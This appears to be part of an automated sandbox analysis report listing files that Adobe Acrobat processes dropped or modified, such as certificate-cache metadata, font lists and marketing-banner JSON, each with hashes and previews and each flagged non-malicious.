Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7673182398396405
Encrypted:	false
SSDEEP:	3:kkFklj0JIllltfllXlE/HT8kaz1NNX8RolJuRdxLlGB9lQRYwpDdt:kKfq/eT8/7NMa8RdWBwRd
MD5:	5E4DEAA1176CD6C7DA3C9E1AA8766D9D
SHA1:	5735F677D4D78DDB0C3F015D665732277857E823
SHA-256:	C05238CE10FC4F44DB3EF5716F5D94D33D2708F4D730544268B4A3E94C75DF7D
SHA-512:	66C74764C41E208789567D38847D0513CAF96D723CE4A97B20007428000420E8DF14E1F005F3617D8282F6A332C3855C2E237BDDDC0059590E61D5E6E5775EA3
Malicious:	false
Preview:	p...... ...........vZM..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.253995428229512
Encrypted:	false
SSDEEP:	6:kKmYL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:uYiDImsLNkPlE99SNxAhUe/3
MD5:	E48D2A73E54E37399439B091AA4A00D1
SHA1:	CC6534DCC84C8151B33FDC0E4E46B2E6BDDB076B
SHA-256:	B8EB40526CFAC37B2A5C63B89FBCF0E8BDF8B96CBBB76D1571EC1BD476B9B41D
SHA-512:	2FE261AF84A1F14479AAE07B56AA7056ED0D981CA63BC6F379D0E17619D8ED3E3298345236DFA3DEACD50AA4D64853C7149850998F7FDFCCEBC061E3E8B18322
Malicious:	false
Preview:	p...... ...........ZM..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6708

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6708

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.366656275022333
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJM3g98kUwPeUkwRe9:YvXKXVrUTbdZDVGMbLUkee9
MD5:	03BC6A6581A9380D6B9FA3372759DB80
SHA1:	404D2F62005FA8D36D7679FE7356AF6329F99734
SHA-256:	A48850084E6071A6968D044F222D57B1880290DC3FDFB5B6AB6157FBE0DB27E1
SHA-512:	B2B8C53FA92CCCC2F32CBFFDB07DC2D1124F50A11BB5816C9339312DFBAE795C9916C8C0373454DD6843F89F6DA69DEDBEC12F99EBD0705410257AE864E87A2A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304885724900827
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJfBoTfXpnrPeUkwRe9:YvXKXVrUTbdZDVGWTfXcUkee9
MD5:	0BBCC25CB19E3565101E030B1DFA5058
SHA1:	C294662871F0A902B9A7B041840688DB785ECDBD
SHA-256:	D97A42D59D52A85864EFD3F2276906A9E1794C85574CD0CED1E3517F9B60282D
SHA-512:	9B33588FAC4C392F5DDC17638101E7F4592647E29AD467A99B435B730B5D71D59D6A9890DF6202A1B7EEB36B1931DB61D391C960EDDC3E6F40E49C5C088AB419
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.28242892311945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJfBD2G6UpnrPeUkwRe9:YvXKXVrUTbdZDVGR22cUkee9
MD5:	DD52C4B88412356649F8A5C890603466
SHA1:	EA2F0295509CBCFDAEB74B8A144402F5D82DD66B
SHA-256:	029AA29884DB37D3CB8719A164D6B61CA96A7833924A112E11C8FA867F16B3BF
SHA-512:	6696AC014EE5AA6DA818F1488B71157B335197B009C6FD75F5E27E4F20131AC93B41A372C7FF3C0EB895B29BFEB7D93587D2510002514681EFCB16B6CC94BA37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.341050524865839
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJfPmwrPeUkwRe9:YvXKXVrUTbdZDVGH56Ukee9
MD5:	97809F641BABE23D186E249F6D01C675
SHA1:	849786E20CD2C55B6A65584DB239123D398D24F1
SHA-256:	D15AF06A499F14B521DBD88310ADABC19410020EAA463B3855CE71E49DAE5C7C
SHA-512:	14CF750465BA80E639713376ABE4842D69257CFB3FB55F7F3E09E01084C6D30F42E4D52E2DA55A47880A6AEF77F045D41C6C4B8FA7AA026CE05EA2F5D28CDC74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693501580882574
Encrypted:	false
SSDEEP:	24:Yv6XVrUXzepLgE9cQx8LennAvzBvkn0RCmK8czOCCSj:YvIrwChgy6SAFv5Ah8cv/j
MD5:	6FFF2FE09EB5677D27BADA02EADA3BFA
SHA1:	7689C4ECD1178EBAA6D5ADC06EA0AA07314A072C
SHA-256:	EB57CD6C739922E55FC392FB520027D23C221F6ED0415C0483AB5534EB05EE6E
SHA-512:	98FC0D0C0072365AED3CFA09E9B82B6534E0231050375F92048F945E46E33F17D4CD9D66481F5878D4DA6315FCBAC06CAC6BAF7F02D65BD637AABD7B306CB6E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286387752429899
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJf8dPeUkwRe9:YvXKXVrUTbdZDVGU8Ukee9
MD5:	3C819A9B08975EFBE25B46870FC6FEED
SHA1:	4E9BDBEA600B4A60D430BC98E99F77FB22490128
SHA-256:	ED68E0A25A2C6A0C0CCA0EDDE50E44918FE4241CCB8EB6A4CAD88F7C352F33FB
SHA-512:	F2281A8919EEE7A029AB0974A56AB17DB88DDD5CC22B75949653F230CCC92DAB3211B2272D55FA8BC255462F9D323197A5FD8AF0C47130CF6A6CD066E39BA74A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2891410289755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJfQ1rPeUkwRe9:YvXKXVrUTbdZDVGY16Ukee9
MD5:	B52F349B23CF51B5D546F758BCCBB97A
SHA1:	DFAF1E3C9C6F8055CC29F6B2872257BD55084D17
SHA-256:	1B0069F4B880C5D91CAA310E97E7FFD267916DECDC68A4BD861E7770137C3AD2
SHA-512:	3448226BDB757BDEFD98697974B1287B4C34C9465627D8DA0AA86CF861D5E0604AB425A64A0C3DE864FED21C60DEB28B3973CB07C3FBD5DD33282F138184F11B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301649502055159
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJfFldPeUkwRe9:YvXKXVrUTbdZDVGz8Ukee9
MD5:	2FB812900AB74A0A669DE1036D771CBA
SHA1:	9E94857A631009ED6D61BD70CD691E2D1750FEEB
SHA-256:	FE95547AFED8EACC0BD34871E7C65018CDB23267C782928AEF0A022ECFD1BEAB
SHA-512:	B9757460CA7ED9BA4662F5CAEE382CA952FE124B3DD36AC48951533068B3F3C6C58814C7F6885F43431333ABF4FE72214BC25C61E3DD0C702EDE5B0EB5E88534
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.314429265834791
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJfzdPeUkwRe9:YvXKXVrUTbdZDVGb8Ukee9
MD5:	B17FBAE51A88FAB6CF16D102EDF0E6F3
SHA1:	BAC2312A18E308F7F4CBEBE8F11B604696A57303
SHA-256:	7E2785E8F9BD9FE8A7E37DC00A38E72AE352E14FEB63F7D37219148B6C2EA199
SHA-512:	DA9E431C1C5741AD0B9644AF85074A1C7E64E9DF08F270A97CF147CE0F92119430D230073775B6584E491790352806FAFC8A59EDF4CDAA99F1A68EDA727AB71B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29436454220939
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJfYdPeUkwRe9:YvXKXVrUTbdZDVGg8Ukee9
MD5:	D353353113BEB4BD9179CC100E4D04A3
SHA1:	38A0BB441E5543B3D8BDC149E036EDEE2683C129
SHA-256:	300ED6A53B9EF9F61139A5B179151D7E198627B5598988A990B5071CD41033BC
SHA-512:	9CC4C8F4D4D8838742B7BF2C5B98F844F7DBB2CA3EC690C3E0AF77B761F1BE1775FC13F63A9F168942BB9E50981628F26AA962A5D17D0F06CECDA6F6E34E1CE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.279997997693051
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJf+dPeUkwRe9:YvXKXVrUTbdZDVG28Ukee9
MD5:	4C9C4FDFDCFF88F66AA5ECA91702035F
SHA1:	AB8F7213793A9AE973CC1F1D899B3A2A80E61761
SHA-256:	1DDB4EC21661D9124CE1F4F70D4C68A6E8130741673845175DDFE4CCDCF0AF37
SHA-512:	833224AB6CABCA90C0E2CB8FABD628C39E4A08AA265D0B00671C04E66CA464846B613FEAE329F197C4765C0E8DADABF3E607C410F7281268948D9A7CD4B2B9E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f74cb669-6346-4133-890c-29416147ffc7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1734271357758,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.277950371551918
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVTnUXjb24kF0YAUXKeoAvJfbPtdPeUkwRe9:YvXKXVrUTbdZDVGDV8Ukee9
MD5:	D83C3D88C18220DB60E1E99B75AD201E
SHA1:	FCFD2EF63FABC46BB3B7856F59193F72E9092833
SHA-256:	DB6AE0A11D67BB4801845C5B62A876AE83207D760193659D87C53BF4C4970DD4
